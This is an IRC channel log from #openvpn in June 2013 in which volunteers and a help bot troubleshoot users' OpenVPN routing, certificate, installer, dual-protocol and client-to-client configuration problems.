17:01 < pekster> Firewall then
17:03 < _skycrash_> i will post in pastebin my confs, firewall and routes, one minute
17:04 < pekster> Comment removal appreciated, see grep syntax for that at:
17:04 < pekster> !paste
17:04 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments comments
17:05 < pekster> !learn iptables-rules as When posting iptables rules, please use the `iptables-save` syntax as it is easiest to read. While we try to be helpful, #netfilter may be more appropriate for complex netfilter issues
17:05 <@vpnHelper> Joo got it.
17:08 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 245 seconds]
17:15 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has joined #openvpn
17:20 -!- C-S-B [~C-S-B@craigsblackie.broker.freenet6.net] has quit [Ping timeout: 260 seconds]
17:21 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has quit [Read error: Connection reset by peer]
17:23 < _skycrash_> I back! here all my cfgs and tests http://pastebin.com/jUcmTJAn
17:25 < _skycrash_> only problem is ping from client side to IP from Server (all hosts behind server i can ping)
17:26 -!- C-S-B [~C-S-B@craigsblackie.broker.freenet6.net] has joined #openvpn
17:28 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
17:29 < pekster> Right, so you know routing is working fine. That leaves your firewall
17:31 < pekster> _skycrash_: Do you have the ccd file too?
17:32 < _skycrash_> pekster: yes..
17:32 < pekster> For client-side-LANs the server needs to be aware of the client and have a route for it
17:32 < _skycrash_> iroute 192.168.200.0 255.255.255.0
17:32 < pekster> You're missing the route in your server config
17:32 < pekster> You need *both*
17:32 < pekster> !clientlan
17:32 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
17:32 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
17:33 < pekster> The --route directive gets the packet from the kernel to openvpn, while the --iroute in the ccd gets the traffic to the responsible client
17:33 < _skycrash_> no, i have, but this side is 100%
17:33 < pekster> Not from the server config you pasted
17:33 < _skycrash_> the problem is other site, Client side ping server
17:33 < pekster> Follow the flowchart
17:33 < pekster> Oh, you seem to have added the 192.168.200/24 route on the server manually then?
17:34 < _skycrash_> in flowchart i stopped in "can you ping the lan ip of the server"
17:34 < pekster> Oh, that's why; you're route is wrong
17:34 < pekster> Look at the 192.168.200.0/24 route; it's going via eth0. You can't do that
17:34 < _skycrash_> in my server cfg have line "client-config-dir ccd
17:34 < pekster> Use openvpn to manage your route
17:34 < pekster> Not enough
17:35 < pekster> Please read what I've said, because I've told you exactly how to fix the issue, as does the flowchart
17:35 < _skycrash_> yes i know :D but ip forwarding already enabled in both sides
17:36 < pekster> Your issue is routing
17:36 < pekster> You have failed to set up sane routes. Fix it
17:37 < pekster> Specifically, the bit the bit told you above about "the server needs a route to the LAN"
17:37 < pekster> You're sending it out the wrong interface, and I have no clue where or why you applied that route since the openvpn on the server does not create that: *you* did
17:37 < pekster> openvpn *should* create that route itself with the --route command. Which you're missing
17:37 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 252 seconds]
17:39 < _skycrash_> my openvpn create the route. See in my log openvpn: openvpn[22813]: /sbin/route add -net 192.168.100.0 netmask 255.255.255.0 gw 172.30.10.5
17:39 < pekster> Wrong route
17:39 < pekster> 192.168.200/254
17:39 < pekster> /24
17:39 < _skycrash_> 192.168.100.0 is my lan of Server side
17:39 < _skycrash_> 192.168.200. is client side
17:39 < pekster> I *know* this
17:40 < _skycrash_> hmm
17:40 < pekster> You apparently don't understand why you need it, and failed to read it (4 times -- I've told you twice, and the bot told you, and the flowchart told you)
17:40 < pekster> Figure it out
17:40 < pekster> Play "follow the packet" and you'll see why it routes the wrong way and never comes back
17:40 < pekster> Or maybe you have some triangular routing set up if eth0 can reach that subnet somehow
17:40 < pekster> Either way, !clientlan has all the secrets
17:41 < _skycrash_> ok, thanks, i will try
18:30 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
18:33 -!- toobluesc [~nitro@c-50-152-143-224.hsd1.ca.comcast.net] has quit [Quit: Ex-Chat]
18:44 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 252 seconds]
18:47 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Read error: Connection reset by peer]
18:57 -!- C-S-B [~C-S-B@craigsblackie.broker.freenet6.net] has quit [Ping timeout: 245 seconds]
19:04 -!- C-S-B [~C-S-B@craigsblackie.broker.freenet6.net] has joined #openvpn
19:17 -!- Conker [~Conker@S0106c86000ce4307.wp.shawcable.net] has quit [Ping timeout: 240 seconds]
19:23 -!- Conker [~Conker@S0106c86000ce4307.wp.shawcable.net] has joined #openvpn
19:25 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 240 seconds]
19:28 -!- Willis [Willis@173.234.237.131] has joined #openvpn
19:55 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
20:04 -!- swiftkey [swiftkey@unaffiliated/swiftkey] has quit [Ping timeout: 260 seconds]
20:06 -!- swiftkey [swiftkey@2600:3c03::f03c:91ff:feae:aac] has joined #openvpn
20:09 -!- fluter [~fluter@fedora/fluter] has quit [Remote host closed the connection]
20:26 -!- Conker [~Conker@S0106c86000ce4307.wp.shawcable.net] has quit [Quit: Leaving]
20:27 -!- C-S-B [~C-S-B@craigsblackie.broker.freenet6.net] has quit [Ping timeout: 245 seconds]
20:29 -!- C-S-B [~C-S-B@craigsblackie.broker.freenet6.net] has joined #openvpn
20:34 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
20:35 -!- newbie|2 [~tjz@67.228.240.11-static.reverse.softlayer.com] has joined #openvpn
20:39 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 276 seconds]
20:39 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
20:51 -!- _skycrash_ [~sky@186.212.30.163] has quit [Quit: leaving]
21:19 -!- gor_zilla [~gorzilla@78.129.180.165] has left #openvpn ["thanks :)"]
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:10 -!- Valcorb_ [~Valcorb@d54C68BC0.access.telenet.be] has quit [Read error: Connection reset by peer]
22:11 -!- emmanuelux [~emmanuelu@94.23.70.250] has joined #openvpn
22:15 -!- overtwo [~overtwo@pool-173-60-224-83.lsanca.fios.verizon.net] has quit [Quit: Leaving]
22:39 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 252 seconds]
22:40 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
22:41 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
23:00 < excalibr> Hello. I'm trying to scriptingly get the IP and Port of openvpn server that I'm connected to. Any idea how to do that?
23:03 < EugeneKay> In a client-side --up script?
23:03 < EugeneKay> Or an external script?
23:28 -!- nexus` [morphkco@dont.privmsg.me.cause.ill.berightback.us] has joined #openvpn
23:29 < nexus`> could someone help me with my openvpn
23:29 < nexus`> im getting these errors: http://pastebin.com/Nx8r2yZX
23:31 < EugeneKay> There's someting wrong with your PKI.
23:32 < nexus`> could u help me fix it?
23:32 < nexus`> what is the PKI exactly
23:32 < EugeneKay> !howto
23:32 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
23:52 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 264 seconds]
--- Day changed Sun Jun 16 2013
00:03 -!- dioz is now known as bbbbbbbb
00:03 -!- bbbbbbbb is now known as dioz
00:28 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
01:26 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Textual IRC Client: http://www.textualapp.com/]
01:31 -!- newbie|2 [~tjz@67.228.240.11-static.reverse.softlayer.com] has quit [Quit: quit irc]
01:31 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
01:45 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 252 seconds]
02:02 -!- nexus` [morphkco@dont.privmsg.me.cause.ill.berightback.us] has quit [Ping timeout: 245 seconds]
02:05 -!- morph3k [morph@dont.privmsg.me.cause.ill.berightback.us] has joined #openvpn
02:15 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services]
02:15 -!- MeanderingCode_ [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
02:15 -!- lmm_ [uid6417@gateway/web/irccloud.com/x-qfnrsrogaubpofcg] has joined #openvpn
02:15 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
02:16 -!- lmm [uid6417@gateway/web/irccloud.com/x-njjtdldjvjbhzaye] has quit [Ping timeout: 264 seconds]
02:16 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Ping timeout: 264 seconds]
02:16 -!- ||arifaX_ [~quassel@unaffiliated/arifax/x-427475] has quit [Read error: Connection reset by peer]
02:16 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
02:16 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
02:16 -!- mode/#openvpn [+o dazo_afk] by ChanServ
02:16 -!- tyteen4a03 [tyteen4a03@us2.freeBNC.net] has quit [Ping timeout: 264 seconds]
02:16 -!- dazo_afk is now known as dazo
02:16 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
02:17 -!- mode/#openvpn [+o vpnHelper] by ChanServ
02:17 -!- tyteen4a03 [tyteen4a03@gateway/shell/freebnv/x-dyhbgetaievcmpvs] has joined #openvpn
02:17 -!- MeanderingCode_ is now known as MeanderingCode
02:17 -!- lmm_ is now known as lmm
02:30 < excalibr> EugeneKay: external script
02:40 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:45 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
02:59 -!- Varazir [~mircwars@c-94-255-131-158.cust.bredband2.com] has joined #openvpn
04:05 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
04:12 -!- cj [~cjac@2607:ff08:f5:3a::3] has quit [Ping timeout: 260 seconds]
04:15 -!- RealRancor [~Rancor@prielwurmjaeger.de] has quit [Quit: ZNC - http://znc.sourceforge.net]
04:16 -!- RealRancor [~Rancor@prielwurmjaeger.de] has joined #openvpn
04:33 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
04:35 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
04:37 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 245 seconds]
04:40 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
04:41 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
04:41 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
04:56 -!- tonph [~user@115.187.48.11] has joined #openvpn
05:00 < tonph> hi
05:00 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
05:02 < EugeneKay> excalibr - the management interface may have the data, but there's no way that I'm directly aware of.
05:02 < EugeneKay> excalibr - you can setup an --up script to write the data out to a file(reading from the env vars), which can then be source'd by your script.
05:03 < tonph> just a beginner in networking and wanted to set up vpn in my local setup, so was wondering if suppose i set up openvpn in my local box, can any loin to my loca vpn thru the public IP ...
05:04 < tonph> sorry for the typo, should be  ``` can anyone login to my box thru public IP```
05:09 < tonph> am I in the wrong place :(
05:10 -!- Jaga [~Jaga@kekkonen.cs.hut.fi] has quit [Ping timeout: 256 seconds]
05:10 < EugeneKay> tonph - no
05:10 < EugeneKay> openvpn uses(usually, you're free to disable it) certificate-based authentication.
05:10 -!- Jaga [~Jaga@kekkonen.cs.hut.fi] has joined #openvpn
05:14 < tonph> thanks, so that means some one cannot spot the local vpn server that is running in the local box on the public ip...
05:15 < tonph> so in order to that , then static ip can be used in that case... i belive... what i thot was that, if smone can run a local vpn and set up members to login thru the public ip address..
05:16 < tonph> i think, my thinking is wrong the,...
05:16 < tonph> then
05:19 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
05:20 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
05:25 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
05:26 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 248 seconds]
05:26 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
05:27 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
05:28 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 245 seconds]
05:31 -!- tonph [~user@115.187.48.11] has quit [Quit: ERC Version 5.3 (IRC client for Emacs)]
05:32 -!- tonph [~user@115.187.48.11] has joined #openvpn
05:33 -!- Wintereise [~reise@unaffiliated/wintereise] has quit [Ping timeout: 252 seconds]
05:35 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
05:41 -!- ibins [~user@dslb-084-056-072-032.pools.arcor-ip.net] has joined #openvpn
05:44 -!- tonph [~user@115.187.48.11] has quit [Quit: ERC Version 5.3 (IRC client for Emacs)]
05:58 -!- tonph [~user@115.187.48.11] has joined #openvpn
06:05 -!- JAVACODER [~JAVACODER@2.190.32.225] has joined #openvpn
06:07 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
06:08 -!- ibins [~user@dslb-084-056-072-032.pools.arcor-ip.net] has quit [Quit: Lost terminal]
06:12 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
06:20 -!- tonph [~user@115.187.48.11] has quit [Remote host closed the connection]
06:23 -!- kubbing [~kubbing@u154-30.static.grapesc.cz] has joined #openvpn
06:45 -!- cnf [x2kWoPPI2z@unaffiliated/cnf] has left #openvpn ["Bye"]
07:05  * EugeneKay dons his OpenVPN shirt
07:24 -!- morph3k [morph@dont.privmsg.me.cause.ill.berightback.us] has left #openvpn ["["Textual IRC Client: www.textualapp.com"]"]
07:25 < rawtaz> EugeneKay: highly superior
07:25 < EugeneKay> It's just a nice shirt
07:26 < rawtaz> it sure sounds like it
07:31 -!- Matir [~matir@ubuntu/member/matir] has quit [Read error: Operation timed out]
07:33 -!- JAVACODER [~JAVACODER@2.190.32.225] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
08:03 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
08:13 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
08:13 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
09:52 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Read error: Operation timed out]
09:54 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
10:45 -!- Matir [~matir@ubuntu/member/matir] has joined #openvpn
10:47 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
10:52 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
11:09 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 252 seconds]
11:15 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
11:54 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
11:57 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 260 seconds]
12:03 -!- hooligan2 [~hooligan@91.236.116.102] has joined #openvpn
12:04 < hooligan2> hejhej
12:28 < kisom> hooligan2: ?
13:12 -!- hooligan2 [~hooligan@91.236.116.102] has quit [Quit: Nettalk6 - www.ntalk.de]
13:36 -!- Fusl [~Fusl@bnc.hallowe.lt] has left #openvpn []
13:41 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
13:47 -!- ibins [~user@dslb-084-056-072-032.pools.arcor-ip.net] has joined #openvpn
13:50 -!- ibins [~user@dslb-084-056-072-032.pools.arcor-ip.net] has left #openvpn []
14:05 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
14:09 -!- JAVACODER [~JAVACODER@2.190.32.225] has joined #openvpn
14:26 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
14:42 -!- JAVACODER [~JAVACODER@2.190.32.225] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
14:44 -!- max_ [~max@c-67-170-96-239.hsd1.wa.comcast.net] has joined #openvpn
14:47 -!- max_ is now known as Synthead
14:56 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
15:06 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
15:21 -!- master_o1_master [~master_of@p4FF24DE4.dip0.t-ipconnect.de] has joined #openvpn
15:25 -!- master_of_master [~master_of@p4FF24A9F.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
15:36 -!- Synthead [~max@c-67-170-96-239.hsd1.wa.comcast.net] has quit [Ping timeout: 245 seconds]
15:41 -!- Synthead [~max@c-67-170-96-239.hsd1.wa.comcast.net] has joined #openvpn
15:47 -!- Synthead [~max@c-67-170-96-239.hsd1.wa.comcast.net] has quit [Ping timeout: 245 seconds]
15:56 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Quit: ZNC - http://znc.in]
15:58 -!- patchie [~sdf@136.81-167-201.customer.lyse.net] has joined #openvpn
15:58 < patchie> trying to install openvpn-install-2.3.2-I001-x86_64.exe on my win7 64bit
15:58 < patchie> it stops at: "appended to PATH"
15:58 < patchie> tried two times now
16:03 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has quit [Read error: Connection reset by peer]
16:04 -!- phunyguy [~phunyguy@h69-131-9-135.stmyga.broadband.dynamic.tds.net] has joined #openvpn
16:04 -!- phunyguy [~phunyguy@h69-131-9-135.stmyga.broadband.dynamic.tds.net] has quit [Changing host]
16:04 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has joined #openvpn
16:04 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Read error: Connection reset by peer]
16:05 < patchie> same problem with 32bit :/
16:05 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:07 -!- kubbing [~kubbing@u154-30.static.grapesc.cz] has quit [Remote host closed the connection]
16:08 -!- kubbing [~kubbing@u154-30.static.grapesc.cz] has joined #openvpn
16:10 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
16:12 -!- kubbing [~kubbing@u154-30.static.grapesc.cz] has quit [Ping timeout: 264 seconds]
16:23 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Ping timeout: 256 seconds]
16:24 -!- mback2k_ [sbnc@2a00:1828:2000:378:1337:0:59ee:5431] has quit [Ping timeout: 256 seconds]
16:25 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has quit [Ping timeout: 262 seconds]
16:32 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
16:55 -!- mback2k_ [sbnc@2a00:1828:2000:378:1337:0:59ee:5431] has joined #openvpn
16:56 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
17:02 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 256 seconds]
17:06 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
17:09 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
17:12 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
17:36 -!- mete [~mete@mete.shell.la] has quit [Ping timeout: 248 seconds]
17:38 -!- mete [~mete@mete.shell.la] has joined #openvpn
17:41 -!- RealRancor [~Rancor@prielwurmjaeger.de] has quit [Ping timeout: 256 seconds]
17:41 -!- RealRancor [~Rancor@prielwurmjaeger.de] has joined #openvpn
17:41 < ShapeShifter499> hi
17:42 < ShapeShifter499> I just set this up so I'd have a connection between my mobiles and my home internet, question is, say UDP is blocked and TCP or visa versa, how can I have my VPN open for either protocol?
17:56 -!- mchou [~quassel@unaffiliated/mchou] has quit [Remote host closed the connection]
17:59 < Poster> ShapeShifter499: yes to both, remember that you're just creating a layer 2 or 3 tunnel with OpenVPN, onec that tunnel is up, you can pretty much pass anything across it
17:59 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 268 seconds]
17:59 < Poster> patchie: Are you running the installer as an administrator?
18:00 < ShapeShifter499> Poster, no I meant when I encounter a wifi network that only has one protocol open, can I have openvpn configured to accept connections on either protocol?
18:01 < Poster> yeah, you'll need at least 2 instances on the server side
18:01 < Poster> one for tcp and one for udp, if you're running *BSD/Linux you can use native packet filtering to aggregate whatever ports you decide to the single instance
18:03 < Poster> if you're looking to break through restrictive connections, I would recommend accepting connections to 53/80/443/tcp and 53/123/udp
18:08 -!- kubbing [~kubbing@u154-30.static.grapesc.cz] has joined #openvpn
18:10 -!- kubbing [~kubbing@u154-30.static.grapesc.cz] has quit [Remote host closed the connection]
18:11 -!- kubbing [~kubbing@u154-30.static.grapesc.cz] has joined #openvpn
18:15 -!- kubbing [~kubbing@u154-30.static.grapesc.cz] has quit [Ping timeout: 248 seconds]
18:17 -!- mete [~mete@mete.shell.la] has quit [Ping timeout: 276 seconds]
18:20 -!- kubbing [~kubbing@u154-30.static.grapesc.cz] has joined #openvpn
18:24 -!- mete [~mete@mete.shell.la] has joined #openvpn
18:28 -!- mete [~mete@mete.shell.la] has quit [Ping timeout: 245 seconds]
18:32 -!- mete [~mete@mete.shell.la] has joined #openvpn
18:34 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
18:36 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
18:40 -!- kubbing [~kubbing@u154-30.static.grapesc.cz] has quit [Remote host closed the connection]
18:40 -!- kubbing [~kubbing@u154-30.static.grapesc.cz] has joined #openvpn
18:44 -!- kubbing [~kubbing@u154-30.static.grapesc.cz] has quit [Ping timeout: 252 seconds]
18:52 -!- mete [~mete@mete.shell.la] has quit [Ping timeout: 268 seconds]
18:56 -!- mete [~mete@mete.shell.la] has joined #openvpn
19:04 -!- Champi [Champi@rootshell.fr] has quit [Quit: Quit]
19:04 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
19:08 -!- Champi [Champi@rootshell.fr] has joined #openvpn
19:14 -!- trumee [~parul@93.186.147.86] has quit [Ping timeout: 260 seconds]
19:15 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
19:19 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has joined #openvpn
19:20 -!- mete [~mete@mete.shell.la] has quit [Ping timeout: 252 seconds]
19:24 -!- mete [~mete@mete.shell.la] has joined #openvpn
19:31 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
19:35 -!- mete [~mete@mete.shell.la] has quit [Ping timeout: 248 seconds]
19:36 -!- mete [~mete@mete.shell.la] has joined #openvpn
19:44 -!- nutron [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
19:46 -!- mete [~mete@mete.shell.la] has quit [Ping timeout: 240 seconds]
19:52 -!- mete [~mete@mete.shell.la] has joined #openvpn
19:57 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
19:57 -!- mete [~mete@mete.shell.la] has quit [Ping timeout: 252 seconds]
20:00 -!- mete [~mete@mete.shell.la] has joined #openvpn
20:07 -!- mete [~mete@mete.shell.la] has quit [Ping timeout: 245 seconds]
20:10 -!- mete [~mete@mete.shell.la] has joined #openvpn
20:15 -!- nikkiheat [~nikkiheat@ip68-103-191-243.ks.ok.cox.net] has quit [Read error: Connection reset by peer]
20:28 -!- mete [~mete@mete.shell.la] has quit [Ping timeout: 264 seconds]
20:32 -!- mete [~mete@mete.shell.la] has joined #openvpn
20:37 -!- mete [~mete@mete.shell.la] has quit [Ping timeout: 252 seconds]
20:38 -!- mete [~mete@mete.shell.la] has joined #openvpn
20:49 -!- mete [~mete@mete.shell.la] has quit [Ping timeout: 248 seconds]
20:51 -!- mete [~mete@mete.shell.la] has joined #openvpn
20:58 -!- mete [~mete@mete.shell.la] has quit [Remote host closed the connection]
21:05 -!- slcres [~slcres@c-50-135-58-124.hsd1.wa.comcast.net] has joined #openvpn
21:24 -!- C-S-B [~C-S-B@craigsblackie.broker.freenet6.net] has quit [Ping timeout: 245 seconds]
21:25 -!- C-S-B [~C-S-B@craigsblackie.broker.freenet6.net] has joined #openvpn
21:41 -!- trumee [~parul@93.186.157.23] has joined #openvpn
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:05 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:07 -!- JAVACODER [~JAVACODER@2.190.44.156] has joined #openvpn
22:44 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Read error: Connection reset by peer]
22:52 -!- altker128 [~altker128@c-24-16-15-217.hsd1.wa.comcast.net] has joined #openvpn
23:07 < altker128> Hey all.  Anyone here using anything like bytemine ?
23:32 -!- myp [~andrew@mx2.admin.tomsk.ru] has joined #openvpn
23:33 < myp> will `usermod -L user` enough to prevent user from auth with `client-cert-not-required` and `username-as-common-name` enabled ?
23:34 < EugeneKay> system users have no tie to openvpn --auth-user-pass-verify users
23:35 < altker128> Is anyone here using a GUI or frontend tool to manage their certs and server/client configs?
23:35 < EugeneKay> !xca
23:35 <@vpnHelper> "xca" is (#1) XCA is a GUI to create/manage a PKI, much more user-friendly than easy-rsa. or (#2) Example XCA PKI for OpenVPN(writeup pending): https://community.openvpn.net/openvpn/wiki/XCA
23:35 < EugeneKay> altker128 - yes, that ^
23:36 < EugeneKay> myp - if you're talking about the verification done by sample-scripts/auth-pam.pl... I don't know; never used it.
23:36 < EugeneKay> You're probably better off creating your own auth script that checks against a DB of just openvpn users, rather than doing any checks against system ones.
23:37 < altker128> EugeneKay: Anything for creating client configs?
23:37 < EugeneKay> Notepad :-p
23:37 < EugeneKay> I keep client configs simple; the hard work is all push-ed by the server.
23:43 < myp> EugeneKay: im using `adduser user`+`passwd user` command to get openvpn works.
23:44 < myp> ah, forgot to tell you about that string `plugin /usr/lib64/openvpn/plugin/lib/openvpn-auth-pam.so login`
23:48 < EugeneKay> Yeah, I've never used that.
--- Day changed Mon Jun 17 2013
00:02 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
00:11 -!- toobluesc [~nitro@c-50-152-143-224.hsd1.ca.comcast.net] has joined #openvpn
00:20 -!- gardar [~gardar@gardar.net] has quit [Quit: bye!]
00:21 -!- gardar [~gardar@gardar.net] has joined #openvpn
00:27 -!- The_Ball [~ballen@180.214.69.102] has joined #openvpn
00:28 < The_Ball> I've setup a OpenVPN server which works great, the LAN users can reach the VPN users and vica versa, however VPN users can't reach each other. Is this because I've used TAP instead of TUN?
00:30 < EugeneKay> Are you just using TAP devices, or doing full-on bridging?
00:31 < The_Ball> Just a TAP device, not bridged
00:31 < EugeneKay> !c2c
00:31 <@vpnHelper> "c2c" is "client-to-client" is with this option packets from 1 client to another are routed inside the server process. without it packets leave the server process, hit the kernel (firewall, routing table) and if allowed by firewall and routed back to server process, they go to the client. you use this option when you do not want to use selective firewall rules on what clients can access things
00:31 <@vpnHelper> behind other clients
00:32 < EugeneKay> Either enable that option, or set up your firewall rules to allow tun0 to route to tn0
00:32 < EugeneKay> Er, tap0
00:33 < The_Ball> Iptables accept all communication from / to tap0 including tap0 to tap0... However I'll skip iptables entirely with the c2c option. Thanks mate
00:34 < EugeneKay> With iptables(and most computer things) what you think it should be doing and what it is doing are two separate things
00:34 -!- toobluesc [~nitro@c-50-152-143-224.hsd1.ca.comcast.net] has quit [Quit: Ex-Chat]
00:34 < The_Ball> That is very true
00:57 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
01:00 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Quit: Leaving]
01:01 -!- fjutscha [~moros@dslb-084-056-113-238.pools.arcor-ip.net] has joined #openvpn
01:03 < hjohnson> EugeneKay: well, unless you know what it is doing, and how it works. :)
01:04 < EugeneKay> then it becomes three things
01:04 < EugeneKay> What it should be doing, what you know it's doing, and what it is doing
01:06 < hjohnson> EugeneKay: actually, this is a similar argument I have regarding documenting source code.
01:06 < hjohnson> self-documenting code doesn't exist, imho
